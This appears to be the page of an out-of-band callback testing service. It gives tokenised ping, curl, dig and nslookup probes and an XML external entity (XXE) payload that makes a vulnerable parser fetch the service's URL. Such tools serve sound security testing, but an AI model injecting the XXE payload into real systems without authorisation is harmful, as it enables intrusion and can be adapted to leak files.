$ ping -c1 -p 0092e3861aecf34290e11c95906f1700 unhack.ca
 
$ curl http://unhack.ca/p/92e3861aecf34290e11c95906f17
 
$ dig 92e3861aecf34290e11c95906f17 @unhack.ca
 
$ dig 92e3861aecf34290e11c95906f17.ns.unhack.ca
 
C:\> nslookup 92e3861aecf34290e11c95906f17 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/92e3861aecf34290e11c95906f17">]>
    <foo>&xxe;</foo>
 
Waiting for ping...